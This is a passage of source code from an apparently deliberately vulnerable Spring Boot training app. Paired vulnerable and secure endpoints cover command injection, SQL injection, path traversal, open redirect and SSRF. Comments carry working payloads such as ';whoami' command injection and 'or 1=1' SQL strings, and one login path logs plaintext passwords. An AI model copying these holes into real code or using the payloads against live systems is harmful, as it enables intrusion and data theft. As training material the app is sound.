import lombok.extern.slf4j.Slf4j; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.web.bind.annotation.GetMapping; 10 | import org.springframework.web.bind.annotation.PostMapping; 11 | import org.springframework.web.bind.annotation.RequestBody; 12 | import org.springframework.web.bind.annotation.RestController; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.util.HashMap; 16 | 17 | @Slf4j 18 | @RestController 19 | public class LoginController { 20 | 21 | @Autowired 22 | private LoginService loginService; 23 | 24 | /** 25 | * 管理员登录接口 26 | * @param admin 27 | * @return 28 | */ 29 | @PostMapping("/login") 30 | public Result login(@RequestBody Admin admin) { 31 | Admin login = loginService.login(admin); 32 | if (login != null) { 33 | //表示账号密码校验成功,登录成功 34 | HashMap claims = new HashMap<>(); 35 | claims.put("id", login.getId()); 36 | claims.put("username", login.getUsername()); 37 | claims.put("name", login.getName()); 38 | 39 | String jwttoken = JwtUtils.generateJwt(claims); 40 | 41 | log.info("管理员:{} 登录成功,分配的jwttoken是:{}", login.getUsername(), jwttoken); 42 | // return Result.success(login); 43 | return Result.success(jwttoken); 44 | } else { 45 | // 登录失败 46 | log.info("登录失败,登录账号:{}, 密码: {}", admin.getUsername(), admin.getPassword()); 47 | return Result.error("用户名或密码错误"); 48 | } 49 | } 50 | 51 | /** 52 | * 获取登录管理员账号的信息 53 | */ 54 | @GetMapping("/getAdminInfo") 55 | public Result getAdminInfo(HttpServletRequest request, HttpServletResponse response) { 56 | 57 | //1.获取请求头的令牌 58 | String jwttoken = request.getHeader("Authorization"); 59 | String id = JwtUtils.parseJwt(jwttoken).get("id").toString(); 60 | 61 | Admin admin = loginService.getAdminById(id); 62 | 63 | if (admin != null) { 64 | // 查询到用户 65 | return Result.success(admin); 66 | } else { 67 | // 根据token未查到用户 68 | return Result.error("未查到相关token"); 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/PathTraversal/PathTraversalController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.PathTraversal; 2 | 3 | import icu.secnotes.utils.Security; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.apache.commons.io.IOUtils; 6 | import org.springframework.http.MediaType; 7 | import org.springframework.http.ResponseEntity; 8 | import org.springframework.web.bind.annotation.GetMapping; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | import org.springframework.web.bind.annotation.RequestParam; 11 | import org.springframework.web.bind.annotation.RestController; 12 | import java.io.File; 13 | import java.io.FileInputStream; 14 | import java.io.IOException; 15 | import java.nio.file.Path; 16 | import java.nio.file.Paths; 17 | 18 | @RestController 19 | @Slf4j 20 | @RequestMapping("/pathtraversal") 21 | public class PathTraversalController { 22 | 23 | @GetMapping("/vuln1") 24 | public ResponseEntity vuln1(@RequestParam String filename) throws IOException { 25 | // 1. 构建图片文件路径 26 | File file = new File("images/" + filename); 27 | 28 | /** 29 | * 1)项目的根目录通常是指包含pom.xml文件的目录 30 | * -- 打印文件路径可知:/Users/liujianping/IdeaProjects/SpringVulnBoot/images/img_6.png 31 | * 2)如果是读取resources下面的图片呢 32 | * File file = new File("src/main/resources/images/" + filename); 33 | */ 34 | log.info("文件位置: {}", file.getAbsolutePath()); 35 | 36 | // 2. 检查文件是否存在 37 | if (!file.exists()) { 38 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404 39 | } 40 | 41 | // 3. 读取文件内容并返回 42 | FileInputStream fis = new FileInputStream(file); 43 | byte[] imageBytes = IOUtils.toByteArray(fis); 44 | fis.close(); 45 | 46 | // 4. 获取图片类型 (根据实际情况修改) 47 | String contentType; // 默认图片类型 48 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) { 49 | contentType = "image/jpeg"; 50 | } else if (filename.toLowerCase().endsWith(".gif")) { 51 | contentType = "image/gif"; 52 | } else if (filename.toLowerCase().endsWith(".png")) { 53 | contentType = "image/png"; 54 | } else { 55 | contentType = "text/plain"; 56 | } 57 | 58 | // 5. 设置 Content-Type 响应头并返回 ResponseEntity 59 | return ResponseEntity.ok() 60 | .contentType(MediaType.parseMediaType(contentType)) 61 | .body(imageBytes); 62 | } 63 | 64 | @GetMapping("/sec1") 65 | public ResponseEntity sec1(@RequestParam String filename) throws IOException { 66 | 67 | // 1. 检查文件名是否合法 68 | if (!Security.checkFilename(filename)) { 69 | return ResponseEntity.badRequest().body("文件名不合法".getBytes()); // 文件名不合法,返回 400 70 | } 71 | 72 | // 2. 构建图片文件路径 73 | File file = new File("images/" + filename); 74 | log.info("文件位置: {}", file.getAbsolutePath()); 75 | 76 | // 3. 检查文件是否存在 77 | if (!file.exists()) { 78 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404 79 | } 80 | 81 | // 4. 读取文件内容并返回 82 | FileInputStream fis = new FileInputStream(file); 83 | byte[] imageBytes = IOUtils.toByteArray(fis); 84 | fis.close(); 85 | 86 | // 5. 获取图片类型 (根据实际情况修改) 87 | String contentType; // 默认图片类型 88 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) { 89 | contentType = "image/jpeg"; 90 | } else if (filename.toLowerCase().endsWith(".gif")) { 91 | contentType = "image/gif"; 92 | } else if (filename.toLowerCase().endsWith(".png")) { 93 | contentType = "image/png"; 94 | } else { 95 | contentType = "text/plain"; 96 | } 97 | 98 | // 6. 设置 Content-Type 响应头并返回 ResponseEntity 99 | return ResponseEntity.ok() 100 | .contentType(MediaType.parseMediaType(contentType)) 101 | .body(imageBytes); 102 | } 103 | 104 | @GetMapping("/sec2") 105 | public ResponseEntity sec2(@RequestParam String filename) throws IOException { 106 | 107 | // 1. 构建安全的文件路径 108 | Path baseDir = Paths.get("images").toAbsolutePath().normalize(); 109 | Path filePath = baseDir.resolve(filename).normalize(); 110 | 111 | // 2. 检查路径是否在允许的目录范围内 112 | if (!filePath.startsWith(baseDir)) { 113 | return ResponseEntity.badRequest().body("Access denied".getBytes()); 114 | } 115 | 116 | File file = filePath.toFile(); 117 | log.info("文件位置: {}", file.getAbsolutePath()); 118 | 119 | // 3. 检查文件是否存在 120 | if (!file.exists()) { 121 | return ResponseEntity.notFound().build(); // 文件不存在,返回 404 122 | } 123 | 124 | // 4. 读取文件内容并返回 125 | FileInputStream fis = new FileInputStream(file); 126 | byte[] imageBytes = IOUtils.toByteArray(fis); 127 | fis.close(); 128 | 129 | // 5. 获取图片类型 (根据实际情况修改) 130 | String contentType; // 默认图片类型 131 | if (filename.toLowerCase().endsWith(".jpg") || filename.toLowerCase().endsWith(".jpeg")) { 132 | contentType = "image/jpeg"; 133 | } else if (filename.toLowerCase().endsWith(".gif")) { 134 | contentType = "image/gif"; 135 | } else if (filename.toLowerCase().endsWith(".png")) { 136 | contentType = "image/png"; 137 | } else { 138 | contentType = "text/plain"; 139 | } 140 | 141 | // 6. 设置 Content-Type 响应头并返回 ResponseEntity 142 | return ResponseEntity.ok() 143 | .contentType(MediaType.parseMediaType(contentType)) 144 | .body(imageBytes); 145 | } 146 | 147 | } 148 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/RCE/RCEController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.RCE; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.utils.Security; 5 | import lombok.extern.slf4j.Slf4j; 6 | import org.springframework.web.bind.annotation.*; 7 | 8 | import java.io.BufferedReader; 9 | import java.io.IOException; 10 | import java.io.InputStreamReader; 11 | import java.util.Arrays; 12 | import java.util.concurrent.TimeUnit; 13 | 14 | @RestController 15 | @Slf4j 16 | @RequestMapping("/rce") 17 | public class RCEController { 18 | 19 | /** 20 | * @Poc:http://127.0.0.1:8080/rce/ping?ip=127.0.0.1 -c 1;whoami 21 | * @param ip IP地址 22 | * @return 返回命令执行结果 23 | */ 24 | @GetMapping("/vulnPing") 25 | public Result vulnPing(String ip) { 26 | System.out.println(ip); 27 | String line; // 用于保存命令执行结果 28 | StringBuilder sb = new StringBuilder(); 29 | 30 | // 要执行的命令 31 | String[] cmd = {"bash" , "-c", "ping " + ip}; 32 | log.info("执行的命令: {}", Arrays.toString(cmd)); 33 | 34 | try { 35 | // 执行命令并获取进程 36 | Process process = Runtime.getRuntime().exec(cmd); 37 | 38 | // 获取命令的输出流 39 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 40 | while ((line = reader.readLine()) != null) { 41 | sb.append(line).append("\n"); 42 | } 43 | 44 | // 获取命令的错误流 45 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 46 | while ((line = errorReader.readLine()) != null) { 47 | sb.append(line).append("\n"); 48 | } 49 | 50 | int exitValue = process.waitFor(); 51 | System.out.println("Process exited with value " + exitValue); 52 | 53 | } catch (IOException | InterruptedException e) { 54 | e.printStackTrace(); 55 | } 56 | //将命令执行结果或者错误结果输出 57 | return Result.success(sb.toString()); 58 | } 59 | 60 | /** 61 | * @Poc:http://127.0.0.1:8080/rce/secPing?ip=127.0.0.1 -c 1;whoami 62 | * @param ip 63 | * @return 64 | */ 65 | @GetMapping("/secPing") 66 | public Result secPing(String ip) { 67 | if (Security.checkCommand(ip)) { 68 | log.warn("非法字符:{}", ip); 69 | return Result.error("检测到非法命令注入!"); 70 | } 71 | 72 | String line; 73 | StringBuilder sb = new StringBuilder(); 74 | 75 | // 要执行的命令 76 | String[] cmd = {"bash" , "-c", "ping " + ip}; 77 | log.info("执行的命令: {}", Arrays.toString(cmd)); 78 | 79 | try { 80 | // 执行命令并获取进程 81 | Process process = Runtime.getRuntime().exec(cmd); 82 | 83 | // 获取命令的输出流 84 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 85 | while ((line = reader.readLine()) != null) { 86 | sb.append(line).append("\n"); 87 | } 88 | 89 | // 获取命令的错误流 90 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 91 | while ((line = errorReader.readLine()) != null) { 92 | sb.append(line).append("\n"); 93 | } 94 | 95 | int exitValue = process.waitFor(); 96 | System.out.println("Process exited with value " + exitValue); 97 | 98 | } catch (IOException | InterruptedException e) { 99 | e.printStackTrace(); 100 | } 101 | //将命令执行结果或者错误结果输出 102 | return Result.success(sb.toString()); 103 | } 104 | 105 | /** 106 | * @Poc: http://127.0.0.1:8080/rce/vulnPing2?ip=127.0.0.1 -c 1;whoami 107 | * @param ip 108 | * @return 109 | */ 110 | @GetMapping("/vulnPing2") 111 | public Result vulnPing2(String ip) { 112 | String line; 113 | StringBuilder sb = new StringBuilder(); 114 | 115 | // 要执行的命令 116 | String[] cmd = {"bash" , "-c", "ping " + ip}; 117 | log.info("执行的命令: {}", Arrays.toString(cmd)); 118 | 119 | try { 120 | // 执行命令并获取进程 121 | ProcessBuilder processBuilder = new ProcessBuilder(cmd); 122 | // ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", "ping " + ip); // 也可以这样写 123 | 124 | Process process = processBuilder.start(); 125 | 126 | // *** 正确的超时设置方法 *** 127 | // 等待进程结束,最多等待 10 秒 128 | boolean finished = process.waitFor(10, TimeUnit.SECONDS); 129 | 130 | if (!finished) { 131 | // 如果进程在 10 秒内没有结束,则强制终止它 132 | process.destroyForcibly(); 133 | sb.append("命令执行超时,已被终止。\n"); 134 | // 等待进程完全终止 135 | process.waitFor(); // 这一行确保进程清理完毕 136 | } 137 | 138 | // 获取命令的输出流 139 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 140 | while ((line = reader.readLine()) != null) { 141 | sb.append(line).append("\n"); 142 | } 143 | 144 | // 获取命令的错误流 145 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 146 | while ((line = errorReader.readLine()) != null) { 147 | sb.append(line).append("\n"); 148 | } 149 | 150 | int exitValue = process.waitFor(); 151 | System.out.println("Process exited with value " + exitValue); 152 | 153 | } catch (IOException | InterruptedException e) { 154 | e.printStackTrace(); 155 | } 156 | //将命令执行结果或者错误结果输出 157 | return Result.success(sb.toString()); 158 | } 159 | 160 | /** 161 | * @Poc:http://127.0.0.1:8080/rce/secPing2?ip=127.0.0.1 -c 1;whoami 162 | * @param ip 163 | * @return 164 | */ 165 | @GetMapping("/secPing2") 166 | public Result secPing2(String ip) { 167 | if (Security.checkIp(ip)) { 168 | String line; 169 | StringBuilder sb = new StringBuilder(); 170 | 171 | // 要执行的命令 172 | String[] cmd = {"bash" , "-c", "ping " + ip}; 173 | log.info("执行的命令: {}", Arrays.toString(cmd)); 174 | 175 | try { 176 | // 执行命令并获取进程 177 | ProcessBuilder processBuilder = new ProcessBuilder(cmd); 178 | 179 | // 设置超时时间为10秒 180 | // 退出值为 124 表示进程因为超时被终止 181 | processBuilder.command().add(0, "timeout"); 182 | processBuilder.command().add(1, "10s"); 183 | 184 | Process process = processBuilder.start(); 185 | 186 | // 获取命令的输出流 187 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 188 | while ((line = reader.readLine()) != null) { 189 | sb.append(line).append("\n"); 190 | } 191 | 192 | // 获取命令的错误流 193 | BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); 194 | while ((line = errorReader.readLine()) != null) { 195 | sb.append(line).append("\n"); 196 | } 197 | 198 | int exitValue = process.waitFor(); 199 | System.out.println("Process exited with value " + exitValue); 200 | 201 | } catch (IOException | InterruptedException e) { 202 | e.printStackTrace(); 203 | } 204 | //将命令执行结果或者错误结果输出 205 | return Result.success(sb.toString()); 206 | } else { 207 | log.warn("IP地址不合法:{}", ip); 208 | return Result.error("IP地址不合法!"); 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/Redirect/RedirectController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.Redirect; 2 | 3 | import lombok.extern.slf4j.Slf4j; 4 | import org.springframework.web.bind.annotation.GetMapping; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.RestController; 7 | 8 | import javax.servlet.http.HttpServletResponse; 9 | import java.io.IOException; 10 | 11 | @RestController 12 | @Slf4j 13 | @RequestMapping("/openUrl/") 14 | public class RedirectController { 15 | 16 | @GetMapping("/redirect") 17 | public String redirect(String url) { 18 | log.info("重定向到: " + url); 19 | return url; 20 | } 21 | 22 | @GetMapping("/redirect2") 23 | public void redirect2(String url, HttpServletResponse response) throws IOException { 24 | log.info("重定向到: " + url); 25 | if (url != null && !url.isEmpty() && (url.startsWith("http") || url.startsWith("https"))) { 26 | response.sendRedirect(url); 27 | } else { 28 | // 处理 URL 为空的情况,例如跳转到默认页面 29 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard"); 30 | } 31 | } 32 | 33 | @GetMapping("/secRedirect1") 34 | public void secRedirect1(String url, HttpServletResponse response) throws IOException { 35 | log.info("重定向到: " + url); 36 | if (url.contains("google.com")) { 37 | response.sendRedirect(url); 38 | } else { 39 | // 处理 URL 为空的情况,例如跳转到默认页面 40 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard"); 41 | } 42 | } 43 | 44 | @GetMapping("/secRedirect2") 45 | public void secRedirect2(String url, HttpServletResponse response) throws IOException { 46 | log.info("重定向到: " + url); 47 | if ("https://www.google.com".equals(url)) { 48 | response.sendRedirect(url); 49 | } else { 50 | // 处理 URL 为空的情况,例如跳转到默认页面 51 | response.sendRedirect("http://127.0.0.1:9528/?#/dashboard"); 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/SQLI/JdbcController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.SQLI; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.pojo.User; 5 | import icu.secnotes.utils.Security; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.springframework.beans.factory.annotation.Value; 8 | import org.springframework.web.bind.annotation.GetMapping; 9 | import org.springframework.web.bind.annotation.RequestMapping; 10 | import org.springframework.web.bind.annotation.RestController; 11 | import java.sql.*; 12 | import java.util.ArrayList; 13 | import java.util.List; 14 | 15 | /** 16 | * sql注入漏洞-jdbc 17 | */ 18 | @Slf4j 19 | @RequestMapping("/sqli/jdbc") 20 | @RestController 21 | public class JdbcController { 22 | 23 | /** 24 | * 下面解释为啥简单的使用 @Slf4j 注解就可以在项目中使用logback打印日志了? 25 | * @Slf4j 注解是 Lombok 库提供的一个注解,它可以自动为你的类生成一个 log 静态变量,类型为 org.slf4j.Logger。 26 | * 当你使用 @Slf4j 注解后,Lombok 会在编译时自动生成类似于 private static final Logger log = LoggerFactory.getLogger(YourClass.class); 的代码。 27 | * 因此,你就可以直接在类中使用 log.info("...")、log.debug("...") 等方法来打印日志,而无需手动创建 Logger 对象。 28 | */ 29 | 30 | @Value("${spring.datasource.url}") 31 | private String db_url; 32 | 33 | @Value("${spring.datasource.username}") 34 | private String db_user; 35 | 36 | @Value("${spring.datasource.password}") 37 | private String db_pass; 38 | 39 | /** 40 | * Jdbc:数字型sql注入-普通参数 41 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserById?id=1 or 1=1 42 | * @param id 43 | * @return 44 | * @throws Exception 45 | */ 46 | @GetMapping("/getUserById") 47 | public Result getUserById(String id) throws Exception { 48 | List users = new ArrayList<>(); 49 | 50 | //1、注册驱动 51 | Class.forName("com.mysql.cj.jdbc.Driver"); 52 | 53 | //2.获取连接 54 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 55 | 56 | //3.定义sql语句 57 | String sql = "select id, username, name from user where id = " + id; 58 | 59 | //4.获取statement对象 60 | Statement statement = conn.createStatement(); 61 | ResultSet resultSet = statement.executeQuery(sql); 62 | log.info("sql语句被执行: {}", sql); 63 | 64 | //5.判断是否查询到数据 65 | while (resultSet.next()) { 66 | User user = new User(); 67 | user.setId(resultSet.getInt("id")); 68 | user.setName(resultSet.getString("name")); 69 | user.setUsername(resultSet.getString("username")); 70 | 71 | users.add(user); 72 | } 73 | resultSet.close(); 74 | statement.close(); 75 | conn.close(); 76 | return Result.success(users); 77 | } 78 | 79 | /** 80 | * Jdbc:字符串型sql注入-普通参数 81 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserByUsername?username=zhangsan' or 1=1 -- 82 | * @param username 83 | * @return 84 | * @throws Exception 85 | */ 86 | @GetMapping("/getUserByUsername") 87 | public Result getUserByUsername(String username) throws Exception { 88 | List users = new ArrayList<>(); 89 | 90 | //1、注册驱动 91 | Class.forName("com.mysql.cj.jdbc.Driver"); 92 | 93 | //2.获取连接 94 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 95 | 96 | //3.定义sql语句 97 | String sql = "select id, username, name, password from user where username = '" + username + "'"; 98 | 99 | //4.获取statement对象 100 | Statement statement = conn.createStatement(); 101 | ResultSet resultSet = statement.executeQuery(sql); 102 | log.info("sql语句被执行: {}", sql); 103 | 104 | //5.判断是否查询到数据 105 | while (resultSet.next()) { 106 | User user = new User(); 107 | user.setId(resultSet.getInt("id")); 108 | user.setName(resultSet.getString("name")); 109 | user.setUsername(resultSet.getString("username")); 110 | user.setPassword(resultSet.getString("password")); 111 | users.add(user); 112 | } 113 | resultSet.close(); 114 | statement.close(); 115 | conn.close(); 116 | return Result.success(users); 117 | } 118 | 119 | /** 120 | * Jdbc:数字型sql注入-普通参数 121 | * @Poc http://127.0.0.1:8080/sqli/jdbc/getUserById?id=1 or 1=1 122 | * @param id 123 | * @return 124 | * @throws Exception 125 | */ 126 | @GetMapping("/getUserByIdError") 127 | public Result getUserByIdError(String id) throws Exception { 128 | List users = new ArrayList<>(); 129 | 130 | try { 131 | //1、注册驱动 132 | Class.forName("com.mysql.cj.jdbc.Driver"); 133 | 134 | //2.获取连接 135 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 136 | 137 | //3.定义sql语句 138 | String sql = "select id, username, name from user where id = " + id; 139 | log.info("sql语句被执行: {}", sql); 140 | 141 | //4.获取statement对象 142 | Statement statement = conn.createStatement(); 143 | ResultSet resultSet = statement.executeQuery(sql); 144 | 145 | //5.判断是否查询到数据 146 | while (resultSet.next()) { 147 | User user = new User(); 148 | user.setId(resultSet.getInt("id")); 149 | user.setName(resultSet.getString("name")); 150 | user.setUsername(resultSet.getString("username")); 151 | 152 | users.add(user); 153 | } 154 | resultSet.close(); 155 | statement.close(); 156 | conn.close(); 157 | return Result.success(users); 158 | } catch (Exception e) { 159 | return Result.error(e.toString()); 160 | } 161 | } 162 | 163 | /** 164 | * Jdbc:数字型sql注入-预编译参数 165 | * @Poc http:// 166 | */ 167 | @GetMapping("/getUserSecById") 168 | public Result getUserSecById(String id) throws Exception { 169 | List users = new ArrayList<>(); 170 | 171 | //1、注册驱动 172 | Class.forName("com.mysql.cj.jdbc.Driver"); 173 | 174 | //2.获取连接 175 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 176 | 177 | //3.定义sql语句 178 | String sql = "select id, username, name from user where id = ?"; 179 | 180 | //4.获取statement对象 181 | PreparedStatement preparedStatement = conn.prepareStatement(sql); 182 | preparedStatement.setInt(1, Integer.parseInt(id)); 183 | ResultSet resultSet = preparedStatement.executeQuery(); 184 | log.info("sql语句被执行: {}", sql); 185 | 186 | //5.判断是否查询到数据 187 | while (resultSet.next()) { 188 | User user = new User(); 189 | user.setId(resultSet.getInt("id")); 190 | user.setName(resultSet.getString("name")); 191 | user.setUsername(resultSet.getString("username")); 192 | 193 | users.add(user); 194 | } 195 | resultSet.close(); 196 | preparedStatement.close(); 197 | conn.close(); 198 | return Result.success(users); 199 | } 200 | 201 | /** 202 | * Jdbc:字符串型sql注入-恶意字符过滤 203 | */ 204 | @GetMapping("/getUserSecByUsernameFilter") 205 | public Result getUserByUsernameFilter(String username) throws Exception { 206 | if (!Security.checkSql(username)) { 207 | List users = new ArrayList<>(); 208 | //1、注册驱动 209 | Class.forName("com.mysql.cj.jdbc.Driver"); 210 | 211 | //2.获取连接 212 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 213 | 214 | //3.定义sql语句 215 | String sql = "select id, username, name from user where username = '" + username + "'"; 216 | 217 | //4.获取statement对象 218 | Statement statement = conn.createStatement(); 219 | ResultSet resultSet = statement.executeQuery(sql); 220 | log.info("sql语句被执行: {}", sql); 221 | 222 | //5.判断是否查询到数据 223 | while (resultSet.next()) { 224 | User user = new User(); 225 | user.setId(resultSet.getInt("id")); 226 | user.setName(resultSet.getString("name")); 227 | user.setUsername(resultSet.getString("username")); 228 | 229 | users.add(user); 230 | } 231 | resultSet.close(); 232 | statement.close(); 233 | conn.close(); 234 | return Result.success(users); 235 | } else { 236 | log.warn("检测到非法注入字符: {}", username); 237 | return Result.error("检测到非法注入字符"); 238 | } 239 | } 240 | 241 | /** 242 | * Jdbc:字符串型sql注入-预编译参数 243 | * @Poc http:// 244 | */ 245 | @GetMapping("/getUserSecByUsername") 246 | public Result getUserSecByUsername(String username) throws Exception { 247 | List users = new ArrayList<>(); 248 | 249 | //1、注册驱动 250 | Class.forName("com.mysql.cj.jdbc.Driver"); 251 | 252 | //2.获取连接 253 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 254 | 255 | //3.定义sql语句 256 | String sql = "select id, username, name from user where username = ?"; 257 | 258 | //4.获取statement对象 259 | PreparedStatement preparedStatement = conn.prepareStatement(sql); 260 | preparedStatement.setString(1, username); 261 | ResultSet resultSet = preparedStatement.executeQuery(); 262 | log.info("sql语句被执行: {}", sql); 263 | 264 | //5.判断是否查询到数据 265 | while (resultSet.next()) { 266 | User user = new User(); 267 | user.setId(resultSet.getInt("id")); 268 | user.setName(resultSet.getString("name")); 269 | user.setUsername(resultSet.getString("username")); 270 | 271 | users.add(user); 272 | } 273 | resultSet.close(); 274 | preparedStatement.close(); 275 | conn.close(); 276 | return Result.success(users); 277 | } 278 | 279 | /** 280 | * Jdbc:字符串型sql注入-预编译参数-但未使用占位符 281 | */ 282 | @GetMapping("/getUserSecByUsernameError") 283 | public Result getUserSecByUsernameError(String username) throws Exception { 284 | List users = new ArrayList<>(); 285 | 286 | //1、注册驱动 287 | Class.forName("com.mysql.cj.jdbc.Driver"); 288 | 289 | //2.获取连接 290 | Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); 291 | 292 | //3.定义sql语句 293 | String sql = "select id, username, name, password from user where username = '" + username + "'"; 294 | 295 | //4.获取statement对象 296 | PreparedStatement preparedStatement = conn.prepareStatement(sql); 297 | ResultSet resultSet = preparedStatement.executeQuery(); 298 | log.info("sql语句被执行: {}", sql); 299 | 300 | //5.判断是否查询到数据 301 | while (resultSet.next()) { 302 | User user = new User(); 303 | user.setId(resultSet.getInt("id")); 304 | user.setName(resultSet.getString("name")); 305 | user.setUsername(resultSet.getString("username")); 306 | user.setPassword(resultSet.getString("password")); 307 | users.add(user); 308 | } 309 | resultSet.close(); 310 | preparedStatement.close(); 311 | conn.close(); 312 | return Result.success(users); 313 | } 314 | } 315 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/SQLI/MybatisController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.SQLI; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import icu.secnotes.service.UserService; 5 | import icu.secnotes.utils.Security; 6 | import lombok.extern.slf4j.Slf4j; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.web.bind.annotation.*; 9 | 10 | /** 11 | * sql注入漏洞-mybatis 12 | */ 13 | @RestController 14 | @RequestMapping("/sqli/mybatis") 15 | @Slf4j 16 | public class MybatisController { 17 | 18 | @Autowired 19 | private UserService userService; 20 | 21 | /** 22 | * Mybatis:数字型sql注入-路径参数 23 | * @Poc http://127.0.0.1:8080/sqlin/getUserById/1 or 1=2 24 | * @param id 用户id 25 | * @return List集合 26 | */ 27 | @GetMapping("/getUserById/{id}") 28 | public Result getUserById(@PathVariable String id) { 29 | return Result.success(userService.selectUserById(id)); 30 | } 31 | 32 | /** 33 | * Mybatis:数字型sql注入-普通参数 34 | * @Poc http://127.0.0.1:8080/sqlin/getUserById?id=1 or 1=1 35 | * @param id 用户id 36 | * @return List集合 37 | */ 38 | @GetMapping("/getUserById") 39 | public Result getUserById2(String id) { 40 | return Result.success(userService.selectUserById(id)); 41 | } 42 | 43 | @GetMapping("/getUserByIdSec") 44 | public Result getUserByIdSec(String id) { 45 | if (!Security.checkSql(id)) { 46 | return Result.success(userService.selectUserById(id)); 47 | } else { 48 | log.warn("检测到非法注入字符: {}", id); 49 | return Result.error("检测到非法注入"); 50 | } 51 | } 52 | 53 | /** 54 | * Mybatis:字符型sql注入-路径参数 55 | * @Poc http://127.0.0.1:8080/sqlin/getUserByUsername/lisi' or 'f'='f 56 | * @param username 57 | * @return 58 | */ 59 | @GetMapping("/getUserByUsername/{username}") 60 | public Result getUserByUsername(@PathVariable String username) { 61 | return Result.success(userService.selectUserByUsername(username)); 62 | } 63 | 64 | /** 65 | * Mybatis:预编译 66 | * @param username 67 | * @return 68 | */ 69 | @GetMapping("/getUserSecByUsername2") 70 | public Result getUserSecByUsername2(String username) { 71 | return Result.success(userService.selectUserSecByUsername(username)); 72 | } 73 | 74 | /** 75 | * Mybatis:恶意字符过滤 76 | */ 77 | @GetMapping("/getUserSecByUsernameFilter2") 78 | public Result getUserSecByUsernameFilter2(String username) { 79 | if (!Security.checkSql(username)) { 80 | return Result.success(userService.selectUserByUsername(username)); 81 | } else { 82 | log.warn("检测到非法注入字符: {}", username); 83 | return Result.error("检测到非法注入"); 84 | } 85 | } 86 | 87 | /** 88 | * Mybatis:字符型sql注入-普通参数 89 | * @Poc http://127.0.0.1:8080/sqli/mybatis/getUserByUsername?username=zhangsan' or 'f'='f 90 | http://127.0.0.1:8080/sqli/mybatis/getUserByUsername?username=zhangsan' or 1=1 -- 91 | * @param username 92 | * @return 93 | */ 94 | @GetMapping("/getUserByUsername") 95 | public Result getUserByUsername2(String username) { 96 | return Result.success(userService.selectUserByUsername(username)); 97 | } 98 | 99 | /** 100 | * 分页查询 101 | */ 102 | @GetMapping("/getUserByPage") 103 | public Result getUserByPage(@RequestParam(defaultValue = "id") String orderBy, @RequestParam(defaultValue = "1") Integer page, @RequestParam(defaultValue = "5") Integer pageSize) { 104 | log.info("分页查询,参数:{} {} {}", page, pageSize, orderBy); 105 | return Result.success(userService.pageOrderBy(orderBy, page, pageSize)); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/icu/secnotes/controller/SSRF/SSRFController.java: -------------------------------------------------------------------------------- 1 | package icu.secnotes.controller.SSRF; 2 | 3 | import icu.secnotes.pojo.Result; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.RequestMapping; 7 | import org.springframework.web.bind.annotation.RequestParam; 8 | import org.springframework.web.bind.annotation.RestController; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.IOException; 11 | import java.io.InputStream; 12 | import java.net.InetAddress; 13 | import java.net.URL; 14 | import java.net.URLConnection; 15 | import java.net.UnknownHostException; 16 | import java.util.Base64; 17 | 18 | @RestController 19 | @Slf4j 20 | @RequestMapping("/ssrf") 21 | public class SSRFController { 22 | 23 | @GetMapping("/vuln1") 24 | public Result previewImage(@RequestParam String url) { 25 | try { 26 | // 直接使用用户输入的URL获取图片,没有进行任何过滤 27 | URL imageUrl = new URL(url); 28 | URLConnection connection = imageUrl.openConnection(); 29 | byte[] imageBytes = connection.getInputStream().readAllBytes(); 30 | String base64Image = Base64.getEncoder().encodeToString(imageBytes); 31 | return Result.success(base64Image); 32 | } catch (Exception e) { 33 | return Result.error("图片预览失败: " + e.getMessage()); 